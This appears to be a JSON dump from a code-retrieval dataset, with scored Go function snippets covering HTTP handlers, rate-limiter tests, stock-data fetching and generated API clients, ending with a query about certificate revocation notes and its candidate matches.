err)\n\t\t\t\t\tlog.Print(errMsg)\n\t\t\t\t\tt.Errorf(errMsg)\n\t\t\t\t}\n\t\t\t\tif !ok {\n\t\t\t\t\terrMsg := fmt.Sprintf(\"GET check %v returned incorrect response\", check)\n\t\t\t\t\tlog.Print(errMsg)\n\t\t\t\t\tt.Errorf(errMsg)\n\t\t\t\t}\n\t\t\t}\n\t\t\tlog.Printf(\"All tests pass\")\n\t\t}\n\t}\n}", "title": "" }, { "docid": "4359704727e96c13eb62c6db5fdc2993", "score": "0.41956848", "text": "func runTestCases(ctx *gr.FCContext, evt map[string]string) ([]byte, error) {\n\tservingEndpoint := evt[\"servingEndpoint\"]\n\n\thttpClient := &http.Client{\n\t\tCheckRedirect: func(req *http.Request, via []*http.Request) error {\n\t\t\treturn http.ErrUseLastResponse\n\t\t},\n\t\tTransport: &http.Transport{\n\t\t\tMaxIdleConnsPerHost: 100,\n\t\t\tIdleConnTimeout: 50 * time.Second,\n\t\t},\n\t}\n\n\tresp, err := httpClient.Get(servingEndpoint)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdefer resp.Body.Close()\n\tif resp.StatusCode == 404 || resp.StatusCode == 200 {\n\t\tbody, err := ioutil.ReadAll(resp.Body)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tbodyStr := strings.Replace(string(body), \"\\n\", \"\", -1)\n\t\treturn []byte(fmt.Sprintf(`{\"httpStatus\": %d, \"servingStatus\": \"succeeded\", \"body\": \"%s\"}`, resp.StatusCode, bodyStr)), nil\n\t}\n\treturn []byte(fmt.Sprintf(`{\"httpStatus\": %d, \"servingStatus\": \"succeeded\"}`, resp.StatusCode)), nil\n}", "title": "" }, { "docid": "03e10f2ccc0ec2d383ec012cb9941198", "score": "0.41949886", "text": "func (s *Server) handleGetExchangeBetween() http.HandlerFunc {\n\ttype respose struct {\n\t\tResult []*big.Float `json:\"res\"`\n\t}\n\n\treturn func(w http.ResponseWriter, r *http.Request) {\n\t\tfrom := r.URL.Query().Get(\"from\")\n\t\tif from == \"\" {\n\t\t\ts.error(w, r, http.StatusBadRequest, errBadQueryRequest)\n\t\t\treturn\n\t\t}\n\n\t\tto := r.URL.Query().Get(\"to\")\n\t\tif to == \"\" {\n\t\t\ts.error(w, r, http.StatusBadRequest, errBadQueryRequest)\n\t\t\treturn\n\t\t}\n\n\t\t// Start Date\n\t\tstartDate := r.URL.Query().Get(\"start_date\")\n\t\tif startDate == \"\" {\n\t\t\ts.error(w, r, http.StatusBadRequest, errBadQueryRequest)\n\t\t\treturn\n\t\t}\n\n\t\t// End Date\n\t\tendDate := r.URL.Query().Get(\"end_date\")\n\t\tif endDate == \"\" {\n\t\t\ts.error(w, r, http.StatusBadRequest, errBadQueryRequest)\n\t\t\treturn\n\t\t}\n\n\t\t// Time object from\n\t\ttmFrom, err := time.Parse(\"2006-01-02\", startDate)\n\t\tif err != nil {\n\t\t\ts.error(w, r, http.StatusBadRequest, errInternalServer)\n\t\t\treturn\n\t\t}\n\n\t\tif tmFrom.Year() < 2006 {\n\t\t\ts.error(w, r, http.StatusInternalServerError, errMinYear2006)\n\t\t\treturn\n\t\t}\n\n\t\t// Time object to\n\t\ttmTo, err := time.Parse(\"2006-01-02\", endDate)\n\t\tif err != nil {\n\t\t\ts.error(w, r, http.StatusBadRequest, errInternalServer)\n\t\t\treturn\n\t\t}\n\n\t\t// API's min available year is 2006\n\t\tif tmTo.Year() < 2006 {\n\t\t\ts.error(w, r, http.StatusInternalServerError, errMinYear2006)\n\t\t\treturn\n\t\t}\n\n\t\t// Check for valid range\n\t\tif tmFrom.Unix() > tmTo.Unix() {\n\t\t\ts.error(w, r, http.StatusInternalServerError, errWrongDateRange)\n\t\t\treturn\n\n\t\t}\n\n\t\t// get slice of currencies between chosen dates\n\t\tresSlice, err := getCurrenciesRange(from, to, startDate, endDate)\n\t\tif err != nil {\n\t\t\ts.error(w, r, http.StatusInternalServerError, errInternalServer)\n\t\t\treturn\n\t\t}\n\n\t\ts.respond(w, r, http.StatusOK, &respose{Result: resSlice})\n\t}\n}", "title": "" }, { "docid": "0b4849b5385bb57b61285622321de328", "score": "0.4193868", "text": "func getStockPrice(body []byte) (*Stock, error) {\n\tvar api *Stock\n\terr := json.Unmarshal(body, &api)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\treturn api, err\n}", "title": "" }, { "docid": "0854b20ac24d79a59864ecfc3ef62afa", "score": "0.4192422", "text": "func (s *Service) RoundFlow(c context.Context, stime, etime time.Time) (reports []*archive.Report, err error) {\n\tif reports, err = s.arc.Reports(c, archive.ReportTypeArcRoundFlow, stime, etime); err != nil {\n\t\tlog.Error(\"s.arc.Reports(%d) err(%v)\", archive.ReportTypeArcRoundFlow, err)\n\t\treturn\n\t}\n\treturn\n}", "title": "" }, { "docid": "5816020d9c9acaf3ca92fa8f9622ee17", "score": "0.41913176", "text": "func GetExcludeLists(nbmaster string, httpClient *http.Client, jwt string, hostUuid string) {\r\n fmt.Printf(\"\\nGet exclude list for host %s...\\n\", hostUuid)\r\n\r\n uri := \"https://\" + nbmaster + \":\" + port + \"/netbackup/config/hosts/\" + hostUuid + \"/configurations/exclude\"\r\n\r\n request, _ := http.NewRequest(http.MethodGet, uri, nil)\r\n request.Header.Add(\"Authorization\", jwt);\r\n request.Header.Add(\"Content-Type\", contentTypeV3);\r\n\r\n response, err := httpClient.Do(request)\r\n\r\n if err != nil {\r\n fmt.Printf(\"The HTTP request failed with error: %s\\n\", err)\r\n panic(\"Unable to get exclude list\")\r\n } else {\r\n if response.StatusCode == 200 {\r\n resp, _ := ioutil.ReadAll(response.Body)\r\n var obj interface{}\r\n json.Unmarshal(resp, &obj)\r\n data := obj.(map[string]interface{})\r\n var excludeLists []interface{} = ((((data[\"data\"].(map[string]interface{}))[\"attributes\"]).(map[string]interface{}))[\"value\"]).([]interface{})\r\n for _, list := range excludeLists {\r\n fmt.Printf(\"%s\\n\", list)\r\n }\r\n } else {\r\n printErrorResponse(response)\r\n }\r\n }\r\n}", "title": "" }, { "docid": "1ea99f358e9f7a8828e0df1f46c58eca", "score": "0.4190728", "text": "func (f *FakeInstance) GetUpgrades(_ context.Context, _ string) (*govultr.Upgrades, *http.Response, error) {\n\tpanic(\"implement me\")\n}", "title": "" }, { "docid": "6f03d88e6e71464060d2e549206447f3", "score": "0.41894925", "text": "func klineThsV6(stk *model.Stock, klt model.DBTab, incr bool, ldate *string, lklid *int) (\n\tquotes []*model.Quote, suc, retry bool) {\n\tvar (\n\t\tcode = stk.Code\n\t\tkall model.KlAll\n\t\tktoday model.Ktoday\n\t\tbody []byte\n\t\te error\n\t\tmode string\n\t\tcycle model.CYTP\n\t\trtype = model.Forward\n\t)\n\t*ldate = \"\"\n\t*lklid = -1\n\t//mode:\n\t// 00-no reinstatement\n\t// 01-forward reinstatement\n\t// 02-backward reinstatement\n\tswitch klt {\n\tcase model.KLINE_DAY_F:\n\t\tmode = \"01\"\n\tcase model.KLINE_DAY_NR:\n\t\tmode = \"00\"\n\tcase model.KLINE_WEEK_F:\n\t\tmode = \"11\"\n\tcase model.KLINE_MONTH_F:\n\t\tmode = \"21\"\n\tdefault:\n\t\tlog.Panicf(\"unhandled kltype: %s\", klt)\n\t}\n\turlToday := fmt.Sprintf(\"http://d.10jqka.com.cn/v6/line/hs_%s/%s/today.js\", code, mode)\n\tbody, e = util.HttpGetBytesUsingHeaders(urlToday,\n\t\tmap[string]string{\n\t\t\t\"Referer\": \"http://stockpage.10jqka.com.cn/HQ_v4.html\",\n\t\t\t\"Cookie\": conf.Args.DataSource.THS.Cookie})\n\tif e != nil {\n\t\tlog.Printf(\"%s error visiting %s: \\n%+v\", code, urlToday, e)\n\t\treturn quotes, false, false\n\t}\n\tktoday = model.Ktoday{}\n\te = json.Unmarshal(strip(body), &ktoday)\n\tif e != nil {\n\t\tlog.Printf(\"%s error parsing json from %s: %s\\n%+v\", code, urlToday, string(body), e)\n\t\treturn quotes, false, true\n\t}\n\tif ktoday.Code != \"\" {\n\t\tquotes = append(quotes, &ktoday.Quote)\n\t} else {\n\t\tlog.Printf(\"kline today skipped: %s\", urlToday)\n\t}\n\n\t_, e = time.Parse(global.DateFormat, ktoday.Date)\n\tif e != nil {\n\t\tlog.Printf(\"%s invalid date format today: %s\\n%+v\", code, ktoday.Date, e)\n\t\treturn quotes, false, true\n\t}\n\t// If it is an IPO, return immediately\n\tif stk.TimeToMarket.Valid && len(stk.TimeToMarket.String) == 10 && ktoday.Date == stk.TimeToMarket.String {\n\t\tlog.Printf(\"%s IPO day: %s fetch data for today only\", code, stk.TimeToMarket.String)\n\t\treturn quotes, true, false\n\t}\n\t// If in IPO week, skip the rest chores\n\tif (klt == model.KLINE_WEEK_F || klt == model.KLINE_MONTH_F) &&\n\t\tstk.TimeToMarket.Valid && len(stk.TimeToMarket.String) == 10 {\n\t\tttm, e := time.Parse(global.DateFormat, stk.TimeToMarket.String)\n\t\tif e != nil {\n\t\t\tlog.Printf(\"%s invalid date format for \\\"time to market\\\": %s\\n%+v\",\n\t\t\t\tcode, stk.TimeToMarket.String, e)\n\t\t\treturn quotes, false, true\n\t\t}\n\t\tttd, e := time.Parse(global.DateFormat, ktoday.Date)\n\t\tif e != nil {\n\t\t\tlog.Printf(\"%s invalid date format for \\\"kline today\\\": %s\\n%+v\",\n\t\t\t\tcode, ktoday.Date, e)\n\t\t\treturn quotes, false, true\n\t\t}\n\t\ty1, w1 := ttm.ISOWeek()\n\t\ty2, w2 := ttd.ISOWeek()\n\t\tif y1 == y2 && w1 == w2 {\n\t\t\tlog.Printf(\"%s IPO week %s fetch data for today only\", code, stk.TimeToMarket.String)\n\t\t\treturn quotes, true, false\n\t\t}\n\t}\n\n\t//get all kline data\n\t//e.g: http://d.10jqka.com.cn/v6/line/hs_000001/01/all.js\n\turlAll := fmt.Sprintf(\"http://d.10jqka.com.cn/v6/line/hs_%s/%s/all.js\", code, mode)\n\tbody, e = util.HttpGetBytesUsingHeaders(urlAll,\n\t\tmap[string]string{\n\t\t\t\"Referer\": \"http://stockpage.10jqka.com.cn/HQ_v4.html\",\n\t\t\t\"Cookie\": conf.Args.DataSource.THS.Cookie})\n\t//body, e = util.HttpGetBytes(url_all)\n\tif e != nil {\n\t\tlog.Printf(\"%s error visiting %s: \\n%+v\", code, urlAll, e)\n\t\treturn quotes, false, true\n\t}\n\tkall = model.KlAll{}\n\te = json.Unmarshal(strip(body), &kall)\n\tif e != nil {\n\t\tlog.Printf(\"%s error parsing json from %s: %s\\n%+v\", code, urlAll, string(body), e)\n\t\treturn quotes, false, true\n\t} else if kall.Price == \"\" {\n\t\tlog.Printf(\"%s empty data in json response from %s: %s\", code, urlAll, string(body))\n\t\treturn quotes, false, true\n\t}\n\n\tswitch klt {\n\tcase model.KLINE_DAY_B, model.KLINE_DAY_NR, model.KLINE_DAY_F:\n\t\tcycle = model.DAY\n\tcase model.KLINE_WEEK_B, model.KLINE_WEEK_NR, model.KLINE_WEEK_F:\n\t\tcycle = model.WEEK\n\tcase model.KLINE_MONTH_B, model.KLINE_MONTH_NR, model.KLINE_MONTH_F:\n\t\tcycle = model.MONTH\n\t}\n\tswitch klt {\n\tcase model.KLINE_DAY_NR, model.KLINE_WEEK_NR, model.KLINE_MONTH_NR:\n\t\trtype = model.None\n\tcase model.KLINE_DAY_B, model.KLINE_WEEK_B, model.KLINE_MONTH_B:\n\t\trtype = model.Backward\n\t}\n\n\tif incr {\n\t\tldy := getLatestTradeDataBasic(code, model.KlineMaster, cycle, rtype, 5+1) //plus one offset for pre-close, varate calculation\n\t\tif ldy != nil {\n\t\t\t*ldate = ldy.Date\n\t\t\t*lklid = ldy.Klid\n\t\t} else {\n\t\t\tlog.Printf(\"%s latest %s data not found, will be fully refreshed\", code, klt)\n\t\t}\n\t} else {\n\t\tlog.Printf(\"%s %s data will be fully refreshed\", code, klt)\n\t}\n\n\tkls, e := parseThsKlinesV6(code, klt, &kall, *ldate)\n\tif e != nil {\n\t\tlog.Printf(\"failed to parse data, %s, %+v, %+v, %+v\\n%+v\", code, klt, *ldate, e, kall)\n\t\treturn quotes, false, true\n\t} else if len(kls) == 0 {\n\t\treturn quotes, true, false\n\t}\n\n\tif (klt == model.KLINE_DAY_F || klt == model.KLINE_DAY_NR) && kls[0].Date == ktoday.Date {\n\t\t// if ktoday and kls[0] in the same month, remove kls[0]\n\t\tkls = kls[1:]\n\t} else if klt == model.KLINE_MONTH_F && kls[0].Date[:8] == ktoday.Date[:8] {\n\t\t// if ktoday and kls[0] in the same month, remove kls[0]\n\t\tkls = kls[1:]\n\t} else if klt == model.KLINE_WEEK_F {\n\t\t// if ktoday and kls[0] in the same week, remove kls[0]\n\t\ttToday, e := time.Parse(global.DateFormat, ktoday.Date)\n\t\tif e != nil {\n\t\t\tlog.Printf(\"%s %s invalid date format: %+v \\n %+v\", code, klt, ktoday.Date, e)\n\t\t\treturn quotes, false, true\n\t\t}\n\t\tyToday, wToday := tToday.ISOWeek()\n\t\ttHead, e := time.Parse(global.DateFormat, kls[0].Date)\n\t\tif e != nil {\n\t\t\tlog.Printf(\"%s %s invalid date format: %+v \\n %+v\", code, klt, kls[0].Date, e)\n\t\t\treturn quotes, false, true\n\t\t}\n\t\tyLast, wLast := tHead.ISOWeek()\n\t\tif yToday == yLast && wToday == wLast {\n\t\t\tkls = kls[1:]\n\t\t}\n\t}\n\n\tquotes = append(quotes, kls...)\n\t//reverse order\n\tfor i, j := 0, len(quotes)-1; i < j; i, j = i+1, j-1 {\n\t\tquotes[i], quotes[j] = quotes[j], quotes[i]\n\t}\n\n\treturn quotes, true, false\n}", "title": "" }, { "docid": "c0bfa6eaa3645c2f48bcf607eef7e84e", "score": "0.4188394", "text": "func DelayHandleFunc(w http.ResponseWriter, r *http.Request) {\n\tw.Header().Add(\"Content-Type\", \"text/plain\")\n\tdelayPath := r.URL.Path[len(\"/response/delay/\"):]\n\tswitch method := r.Method; method {\n\tcase http.MethodGet:\n\t\tvar message = \"Bad request\"\n\t\tif delay, err := time.ParseDuration(delayPath); err == nil {\n\t\t\tmessage = fmt.Sprintf(\"Delayed by: %s\", delay.String())\n\t\t\ttime.Sleep(delay)\n\t\t\tw.Header().Add(\"Response-Delay\", delay.String())\n\t\t\tw.WriteHeader(http.StatusOK)\n\t\t} else if delayPath != \"\" {\n\t\t\tmessage = err.Error()\n\t\t\tw.WriteHeader(http.StatusBadRequest)\n\t\t}\n\t\tw.Write([]byte(message))\n\t\t// fmt.Fprintf(w, message)\n\tdefault:\n\t\tw.WriteHeader(http.StatusBadRequest)\n\t\tw.Write([]byte(\"Unsupported request method.\"))\n\t}\n\n}", "title": "" }, { "docid": "cebc1aaf0af099dfe94ee32e9001b5b4", "score": "0.41854575", "text": "func Test_Limiter_Sliding_Window_Custom_Storage_Skip_Failed_Requests(t *testing.T) {\n\tt.Parallel()\n\tapp := fiber.New()\n\n\tapp.Use(New(Config{\n\t\tMax: 1,\n\t\tExpiration: 2 * time.Second,\n\t\tStorage: memory.New(),\n\t\tSkipFailedRequests: true,\n\t\tLimiterMiddleware: SlidingWindow{},\n\t}))\n\n\tapp.Get(\"/:status\", func(c *fiber.Ctx) error {\n\t\tif c.Params(\"status\") == \"fail\" {\n\t\t\treturn c.SendStatus(400)\n\t\t}\n\t\treturn c.SendStatus(200)\n\t})\n\n\tresp, err := app.Test(httptest.NewRequest(fiber.MethodGet, \"/fail\", nil))\n\tutils.AssertEqual(t, nil, err)\n\tutils.AssertEqual(t, 400, resp.StatusCode)\n\n\tresp, err = app.Test(httptest.NewRequest(fiber.MethodGet, \"/success\", nil))\n\tutils.AssertEqual(t, nil, err)\n\tutils.AssertEqual(t, 200, resp.StatusCode)\n\n\tresp, err = app.Test(httptest.NewRequest(fiber.MethodGet, \"/success\", nil))\n\tutils.AssertEqual(t, nil, err)\n\tutils.AssertEqual(t, 429, resp.StatusCode)\n\n\ttime.Sleep(4 * time.Second)\n\n\tresp, err = app.Test(httptest.NewRequest(fiber.MethodGet, \"/success\", nil))\n\tutils.AssertEqual(t, nil, err)\n\tutils.AssertEqual(t, 200, resp.StatusCode)\n}", "title": "" }, { "docid": "cff5d843b0d4876df3a1d5b64ddcb945", "score": "0.41841063", "text": "func TestWsGetTrades(t *testing.T) {\n\tsetupWsAuth(t)\n\t_, err := h.wsGetTrades(currency.NewPair(currency.ETH, currency.BTC), 1000, \"ASC\", \"id\")\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n}", "title": "" }, { "docid": "4b8317e79ae4b1899bb45e29937929ac", "score": "0.4184071", "text": "func Test_Limiter_Fixed_Window_Custom_Storage_Skip_Failed_Requests(t *testing.T) {\n\tt.Parallel()\n\tapp := fiber.New()\n\n\tapp.Use(New(Config{\n\t\tMax: 1,\n\t\tExpiration: 2 * time.Second,\n\t\tStorage: memory.New(),\n\t\tSkipFailedRequests: true,\n\t\tLimiterMiddleware: FixedWindow{},\n\t}))\n\n\tapp.Get(\"/:status\", func(c *fiber.Ctx) error {\n\t\tif c.Params(\"status\") == \"fail\" {\n\t\t\treturn c.SendStatus(400)\n\t\t}\n\t\treturn c.SendStatus(200)\n\t})\n\n\tresp, err := app.Test(httptest.NewRequest(fiber.MethodGet, \"/fail\", nil))\n\tutils.AssertEqual(t, nil, err)\n\tutils.AssertEqual(t, 400, resp.StatusCode)\n\n\tresp, err = app.Test(httptest.NewRequest(fiber.MethodGet, \"/success\", nil))\n\tutils.AssertEqual(t, nil, err)\n\tutils.AssertEqual(t, 200, resp.StatusCode)\n\n\tresp, err = app.Test(httptest.NewRequest(fiber.MethodGet, \"/success\", nil))\n\tutils.AssertEqual(t, nil, err)\n\tutils.AssertEqual(t, 429, resp.StatusCode)\n\n\ttime.Sleep(3 * time.Second)\n\n\tresp, err = app.Test(httptest.NewRequest(fiber.MethodGet, \"/success\", nil))\n\tutils.AssertEqual(t, nil, err)\n\tutils.AssertEqual(t, 200, resp.StatusCode)\n}", "title": "" }, { "docid": "7ec2b1a058a31bc67cbeb7315a9ae8b4", "score": "0.4182338", "text": "func Test_Limiter_Sliding_Window_No_Skip_Choices(t *testing.T) {\n\tt.Parallel()\n\tapp := fiber.New()\n\n\tapp.Use(New(Config{\n\t\tMax: 2,\n\t\tExpiration: 2 * time.Second,\n\t\tSkipFailedRequests: false,\n\t\tSkipSuccessfulRequests: false,\n\t\tLimiterMiddleware: SlidingWindow{},\n\t}))\n\n\tapp.Get(\"/:status\", func(c *fiber.Ctx) error {\n\t\tif c.Params(\"status\") == \"fail\" {\n\t\t\treturn c.SendStatus(400)\n\t\t}\n\t\treturn c.SendStatus(200)\n\t})\n\n\tresp, err := app.Test(httptest.NewRequest(fiber.MethodGet, \"/fail\", nil))\n\tutils.AssertEqual(t, nil, err)\n\tutils.AssertEqual(t, 400, resp.StatusCode)\n\n\tresp, err = app.Test(httptest.NewRequest(fiber.MethodGet, \"/success\", nil))\n\tutils.AssertEqual(t, nil, err)\n\tutils.AssertEqual(t, 200, resp.StatusCode)\n\n\tresp, err = app.Test(httptest.NewRequest(fiber.MethodGet, \"/success\", nil))\n\tutils.AssertEqual(t, nil, err)\n\tutils.AssertEqual(t, 429, resp.StatusCode)\n\n\ttime.Sleep(4 * time.Second)\n\n\tresp, err = app.Test(httptest.NewRequest(fiber.MethodGet, \"/success\", nil))\n\tutils.AssertEqual(t, nil, err)\n\tutils.AssertEqual(t, 200, resp.StatusCode)\n}", "title": "" }, { "docid": "db9e66b66221cd0ea1d08b60610fca85", "score": "0.41760764", "text": "func testHandler(w http.ResponseWriter, r *http.Request) {\n\ttestEvent := `{\"output\":\"This is a test from falcosidekick\",\"priority\":\"Debug\",\"rule\":\"Test rule\", \"time\":\"`+time.Now().UTC().Format(time.RFC3339)+`\",\"outputfields\": {\"proc.name\":\"falcosidekick\",\"user.name\":\"falcosidekick\"}}`\n\n\tresp, err := http.Post(\"http://localhost:\"+strconv.Itoa(config.ListenPort), \"application/json\", bytes.NewBuffer([]byte(testEvent)))\n\tif err != nil {\n\t\tlog.Printf(\"[DEBUG] : Test Failed. Falcosidekick can't call itself\\n\")\n\t}\n\tdefer resp.Body.Close()\n\n\tlog.Printf(\"[DEBUG] : Test sent\\n\")\n\tif resp.StatusCode != http.StatusOK {\n\t\tlog.Printf(\"[DEBUG] : Test KO (%v)\\n\", resp.Status)\n\t}\n}", "title": "" }, { "docid": "046d9b2675a9e9d290f700a1a6c27ad4", "score": "0.41756934", "text": "func (e *BcsDataManager) GetPowerTrading(ctx context.Context, req *bcsdatamanager.GetPowerTradingDataRequest,\n\trsp *bcsdatamanager.GetPowerTradingDataResponse) error {\n\tblog.Infof(\"Received GetPowerTrading.Call request. table name: %s, startTime: %s, endTime: %s, params: %+v\",\n\t\treq.GetTable(), req.GetStartTime(), req.GetEndTime(), req.GetParams())\n\n\tstart := time.Now()\n\tresult, total, err := e.model.GetPowerTradingInfo(ctx, req)\n\tif err != nil {\n\t\trsp.Message = fmt.Sprintf(\"get powerTrading info error: %v\", err)\n\t\trsp.Code = bcsCommon.AdditionErrorCode + 500\n\t\tblog.Errorf(rsp.Message)\n\t\tprom.ReportAPIRequestMetric(\"GetPowerTrading\", \"grpc\", prom.StatusErr, start)\n\t\treturn nil\n\t}\n\trsp.Data = result\n\trsp.Message = bcsCommon.BcsSuccessStr\n\trsp.Code = bcsCommon.BcsSuccess\n\trsp.Total = uint32(total)\n\tprom.ReportAPIRequestMetric(\"GetPowerTrading\", \"grpc\", prom.StatusOK, start)\n\treturn nil\n}", "title": "" }, { "docid": "8c5a7b26865179c48e96dc3d335daf18", "score": "0.41756442", "text": "func TestHandler_URLMappingPostRecapSalesFailDiffPartner(t *testing.T) {\n\t// buat dummy partner\n\tpartnr := model.DummyPartnership()\n\tpartnr.IsDeleted = int8(0)\n\tpartnr.PartnershipType = \"customer\"\n\tpartnr.Save()\n\tpartner2 := model.DummyPartnership()\n\tpartner2.IsDeleted = int8(0)\n\tpartner2.PartnershipType = \"customer\"\n\tpartner2.Save()\n\t// buat dummy so\n\tso1 := model.DummySalesOrder()\n\tso1.IsDeleted = int8(0)\n\tso1.DocumentStatus = \"finished\"\n\tso1.TotalCharge = float64(20000)\n\tso1.Customer = partner2\n\tso1.Save()\n\tso2 := model.DummySalesOrder()\n\tso2.IsDeleted = int8(0)\n\tso2.DocumentStatus = \"finished\"\n\tso2.TotalCharge = float64(30000)\n\tso2.Customer = partnr\n\tso2.Save()\n\n\t// melakukan proses login\n\tuser := model.DummyUserPriviledgeWithUsergroup(1)\n\tsd, _ := auth.Login(user)\n\ttoken := \"Bearer \" + sd.Token\n\n\t// setting body\n\tscenario := tester.D{\n\t\t\"partnership\": common.Encrypt(partnr.ID),\n\t\t\"recap_sales_items\": []tester.D{\n\t\t\t{\n\t\t\t\t\"sales_order\": common.Encrypt(so1.ID),\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"sales_order\": common.Encrypt(so2.ID),\n\t\t\t},\n\t\t},\n\t}\n\t// test\n\tng := tester.New()\n\tng.SetHeader(tester.H{\"Authorization\": token})\n\tng.POST(\"/v1/recap-sales\").SetJSON(scenario).Run(test.Router(), func(res tester.HTTPResponse, req tester.HTTPRequest) {\n\t\tassert.Equal(t, int(422), res.Code, fmt.Sprintf(\"\\nreason: Validation Not Matched,\\ndata: %v , \\nresponse: %v\", scenario, res.Body.String()))\n\t})\n\n}", "title": "" }, { "docid": "b5eef8434b97031dcc2dd1369dced9fa", "score": "0.41617304", "text": "func (c *Controller) GetFlowsBuffer() (levels map[string]JSONLineMetric) {\n\treturn c.flows\n}", "title": "" }, { "docid": "51d447325327ffc0c30285f9d6690d31", "score": "0.41604185", "text": "func (a *InsightsApiService) GetSalesForecast(ctx _context.Context, offerId string, weeksAhead int32) (SalesForecastResponse, *_nethttp.Response, error) {\n\tvar (\n\t\tlocalVarHTTPMethod = _nethttp.MethodGet\n\t\tlocalVarPostBody interface{}\n\t\tlocalVarFormFileName string\n\t\tlocalVarFileName string\n\t\tlocalVarFileBytes []byte\n\t\tlocalVarReturnValue SalesForecastResponse\n\t)\n\n\t// create path and map variables\n\tlocalVarPath := a.client.cfg.BasePath + \"/retailer/insights/sales-forecast\"\n\tlocalVarHeaderParams := make(map[string]string)\n\tlocalVarQueryParams := _neturl.Values{}\n\tlocalVarFormParams := _neturl.Values{}\n\n\tlocalVarQueryParams.Add(\"offer-id\", parameterToString(offerId, \"\"))\n\tlocalVarQueryParams.Add(\"weeks-ahead\", parameterToString(weeksAhead, \"\"))\n\t// to determine the Content-Type header\n\tlocalVarHTTPContentTypes := []string{}\n\n\t// set Content-Type header\n\tlocalVarHTTPContentType := selectHeaderContentType(localVarHTTPContentTypes)\n\tif localVarHTTPContentType != \"\" {\n\t\tlocalVarHeaderParams[\"Content-Type\"] = localVarHTTPContentType\n\t}\n\n\t// to determine the Accept header\n\tlocalVarHTTPHeaderAccepts := []string{\"application/vnd.retailer.v4+json\", \"application/vnd.retailer.v4+xml\"}\n\n\t// set Accept header\n\tlocalVarHTTPHeaderAccept := selectHeaderAccept(localVarHTTPHeaderAccepts)\n\tif localVarHTTPHeaderAccept != \"\" {\n\t\tlocalVarHeaderParams[\"Accept\"] = localVarHTTPHeaderAccept\n\t}\n\tr, err := a.client.prepareRequest(ctx, localVarPath, localVarHTTPMethod, localVarPostBody, localVarHeaderParams, localVarQueryParams, localVarFormParams, localVarFormFileName, localVarFileName, localVarFileBytes)\n\tif err != nil {\n\t\treturn localVarReturnValue, nil, err\n\t}\n\n\tlocalVarHTTPResponse, err := a.client.callAPI(r)\n\tif err != nil || localVarHTTPResponse == nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tlocalVarBody, err := _ioutil.ReadAll(localVarHTTPResponse.Body)\n\tlocalVarHTTPResponse.Body.Close()\n\tlocalVarHTTPResponse.Body = _ioutil.NopCloser(_bytes.NewBuffer(localVarBody))\n\tif err != nil {\n\t\treturn localVarReturnValue, localVarHTTPResponse, err\n\t}\n\n\tif localVarHTTPResponse.StatusCode >= 300 {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: localVarHTTPResponse.Status,\n\t\t}\n\t\tif localVarHTTPResponse.StatusCode == 400 {\n\t\t\tvar v Problem\n\t\t\terr = a.client.decode(&v, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\t\t\tif err != nil {\n\t\t\t\tnewErr.error = err.Error()\n\t\t\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t\t\t}\n\t\t\tnewErr.model = v\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\terr = a.client.decode(&localVarReturnValue, localVarBody, localVarHTTPResponse.Header.Get(\"Content-Type\"))\n\tif err != nil {\n\t\tnewErr := GenericOpenAPIError{\n\t\t\tbody: localVarBody,\n\t\t\terror: err.Error(),\n\t\t}\n\t\treturn localVarReturnValue, localVarHTTPResponse, newErr\n\t}\n\n\treturn localVarReturnValue, localVarHTTPResponse, nil\n}", "title": "" } ]
8c10d60ef6b2a78167bdf019e93a0395
GetRevocationNotes returns the RevocationNotes field value if set, zero value otherwise.
[ { "docid": "9d4b0d229cfa35baa160d82dc8be7531", "score": "0.81784475", "text": "func (o *IssuedCertificate) GetRevocationNotes() string {\n\tif o == nil || o.RevocationNotes == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.RevocationNotes\n}", "title": "" } ]
[ { "docid": "2b4a5b285fc7f170b32baf98bec49b5e", "score": "0.7450482", "text": "func (o *IssuedCertificate) SetRevocationNotes(v string) {\n\to.RevocationNotes = &v\n}", "title": "" }, { "docid": "190e0d9ec1c49850850a24b4c9a3286e", "score": "0.74318165", "text": "func (o *IssuedCertificate) GetRevocationNotesOk() (*string, bool) {\n\tif o == nil || o.RevocationNotes == nil {\n\t\treturn nil, false\n\t}\n\treturn o.RevocationNotes, true\n}", "title": "" }, { "docid": "36d0a8c2616eaab8747905ab42217260", "score": "0.67231685", "text": "func (o *IssuedCertificate) HasRevocationNotes() bool {\n\tif o != nil && o.RevocationNotes != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "a657dabda7f3804fa0a5d5a02cf22efc", "score": "0.6641", "text": "func (o *CategoryUpdate) GetNotes() string {\n\tif o == nil || o.Notes.Get() == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.Notes.Get()\n}", "title": "" }, { "docid": "392da2357c429b55424a24b1ff6f8cf6", "score": "0.6342055", "text": "func (o *HostMapWidgetDefinition) GetNotes() string {\n\tif o == nil || o.Notes == nil {\n\t\tvar ret string\n\t\treturn ret\n\t}\n\treturn *o.Notes\n}", "title": "" }, { "docid": "863a6feb72f8bdfcc8c2e7be6f18e90c", "score": "0.62948835", "text": "func (m *PlannerTaskPropertyRule) GetNotes()([]string) {\n val, err := m.GetBackingStore().Get(\"notes\")\n if err != nil {\n panic(err)\n }\n if val != nil {\n return val.([]string)\n }\n return nil\n}", "title": "" }, { "docid": "9fbff0cdd97d83278bc901b0cb26bbfe", "score": "0.6228468", "text": "func (repo *GitRepo) GetNotes(notesRef, revision string) []Note {\n\tvar notes []Note\n\trawNotes, err := repo.runGitCommand(\"notes\", \"--ref\", notesRef, \"show\", revision)\n\tif err != nil {\n\t\t// We just assume that this means there are no notes\n\t\treturn nil\n\t}\n\tfor _, line := range strings.Split(rawNotes, \"\\n\") {\n\t\tnotes = append(notes, Note([]byte(line)))\n\t}\n\treturn notes\n}", "title": "" }, { "docid": "01745c283a1a7f70722071922a29e233", "score": "0.6211549", "text": "func GetNotes(notesRef, revision string) []Note 